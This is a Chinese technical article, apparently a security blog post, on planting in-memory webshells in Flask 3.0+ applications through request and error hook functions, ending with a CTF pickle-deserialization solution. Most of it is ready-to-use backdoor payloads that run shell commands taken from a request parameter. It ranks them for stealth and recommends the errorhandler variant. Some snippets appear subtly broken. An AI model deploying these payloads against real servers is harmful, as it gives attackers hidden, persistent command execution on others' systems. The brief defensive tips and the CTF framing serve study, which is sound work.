新版Flask框架下用钩子函数实现内存马的方式
字数 1326 2025-08-03 16:48:19

Flask框架下利用钩子函数实现内存马的技术分析

旧版Flask内存马实现方式

传统实现方法

在旧版本Flask框架中,可以通过app.add_url_rule()函数注册后门路由:

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

原理分析

  1. 通过url_for()函数获取当前命名空间的__builtins__模块
  2. 使用eval执行动态添加路由的代码
  3. 匿名函数通过_request_ctx_stack获取当前请求上下文
  4. 从请求参数中获取命令并执行

新版限制

Flask 3.0+版本中,add_url_rule()@setupmethod装饰器修饰,在应用启动后会检查并阻止动态添加路由的操作。

新版Flask内存马实现方式

利用before_request钩子

__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(
    lambda :__import__('os').popen('whoami').read()
)

特点

  • 会在每个请求前执行
  • 访问所有页面都会返回命令执行结果,隐蔽性较差

利用after_request钩子

app.after_request_funcs.setdefault(None, []).append(
    lambda resp: CmdResp if request.args.get('cmd') and 
    exec('global r;r=app.make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())')==None 
    else resp
)

优化版本

app.after_request_funcs.setdefault(None, []).append(
    lambda x:__import__("os").popen(request.args.get("cmd"))
)

特点

  • 需要接收并返回response对象
  • 可以正常返回页面内容,隐蔽性更好
  • 通过请求参数动态执行命令

利用teardown_request钩子

app.teardown_request_funcs.setdefault(None, []).append(
    lambda :__import__('os').popen("calc").read()
)

特点

  • 在请求结束后执行
  • 无法获取当前请求上下文
  • 只能执行静态命令

利用teardown_appcontext钩子

app.teardown_appcontext_funcs.append(
    lambda x :__import__('os').popen("calc").read()
)

特点

  • 在应用上下文销毁时执行
  • 同样无法获取请求上下文

利用errorhandler钩子(推荐)

exec("""
global exc_class;global code;
exc_class, code = app._get_exc_class_and_code(404);
app.error_handler_spec[None][code][exc_class] = 
    lambda a:__import__('os').popen(request.args.get('cmd')).read()
""")

特点

  • 可以获取请求上下文
  • 通过访问不存在的路由触发
  • 能够带回显执行结果
  • 隐蔽性较好

Flask钩子函数对比

钩子类型 执行时机 能否获取请求上下文 能否动态执行命令 隐蔽性
before_request 请求前 较差
after_request 响应前
teardown_request 请求后 不能 不能 一般
teardown_appcontext 上下文销毁 不能 不能 一般
errorhandler 错误发生时

实战案例:2024黄河流域Python-Revenge

题目分析

  • 存在Pickle反序列化漏洞
  • 机器不出网,无法使用常规反弹shell
  • 过滤了before/after等关键词

解决方案

  1. 利用teardown_request写入文件
class Exp(object):
    def __reduce__(self):
        return (eval, (
            "app.teardown_request_funcs.setdefault(None, []).append("
            "lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))
  1. 利用errorhandler实现带外执行
class Exp(object):
    def __reduce__(self):
        return (eval, (
            "global exc_class;global code;"
            "exc_class, code = app._get_exc_class_and_code(404);"
            "app.error_handler_spec[None][code][exc_class] = "
            "lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

防御建议

  1. 避免使用evalpickle等危险函数
  2. 对用户输入进行严格过滤
  3. 监控Flask应用的钩子函数注册情况
  4. 使用最新版Flask框架并保持更新
  5. 限制应用的权限和文件系统访问

总结

新版Flask内存马主要通过钩子函数机制实现,相比旧版的动态路由添加方式更为隐蔽。其中after_requesterrorhandler是较为理想的实现方式,能够获取请求上下文并动态执行命令。在实际渗透测试中,需要根据目标环境的具体限制选择合适的实现方式。

Flask框架下利用钩子函数实现内存马的技术分析 旧版Flask内存马实现方式 传统实现方法 在旧版本Flask框架中,可以通过 app.add_url_rule() 函数注册后门路由: 原理分析 通过 url_for() 函数获取当前命名空间的 __builtins__ 模块 使用 eval 执行动态添加路由的代码 匿名函数通过 _request_ctx_stack 获取当前请求上下文 从请求参数中获取命令并执行 新版限制 Flask 3.0+版本中, add_url_rule() 被 @setupmethod 装饰器修饰,在应用启动后会检查并阻止动态添加路由的操作。 新版Flask内存马实现方式 利用 before_request 钩子 特点 : 会在每个请求前执行 访问所有页面都会返回命令执行结果,隐蔽性较差 利用 after_request 钩子 优化版本 : 特点 : 需要接收并返回response对象 可以正常返回页面内容,隐蔽性更好 通过请求参数动态执行命令 利用 teardown_request 钩子 特点 : 在请求结束后执行 无法获取当前请求上下文 只能执行静态命令 利用 teardown_appcontext 钩子 特点 : 在应用上下文销毁时执行 同样无法获取请求上下文 利用 errorhandler 钩子(推荐) 特点 : 可以获取请求上下文 通过访问不存在的路由触发 能够带回显执行结果 隐蔽性较好 Flask钩子函数对比 | 钩子类型 | 执行时机 | 能否获取请求上下文 | 能否动态执行命令 | 隐蔽性 | |---------|---------|-------------------|-----------------|--------| | before_ request | 请求前 | 能 | 能 | 较差 | | after_ request | 响应前 | 能 | 能 | 好 | | teardown_ request | 请求后 | 不能 | 不能 | 一般 | | teardown_ appcontext | 上下文销毁 | 不能 | 不能 | 一般 | | errorhandler | 错误发生时 | 能 | 能 | 好 | 实战案例:2024黄河流域Python-Revenge 题目分析 存在Pickle反序列化漏洞 机器不出网,无法使用常规反弹shell 过滤了 before / after 等关键词 解决方案 利用teardown_ request写入文件 利用errorhandler实现带外执行 防御建议 避免使用 eval 、 pickle 等危险函数 对用户输入进行严格过滤 监控Flask应用的钩子函数注册情况 使用最新版Flask框架并保持更新 限制应用的权限和文件系统访问 总结 新版Flask内存马主要通过钩子函数机制实现,相比旧版的动态路由添加方式更为隐蔽。其中 after_request 和 errorhandler 是较为理想的实现方式,能够获取请求上下文并动态执行命令。在实际渗透测试中,需要根据目标环境的具体限制选择合适的实现方式。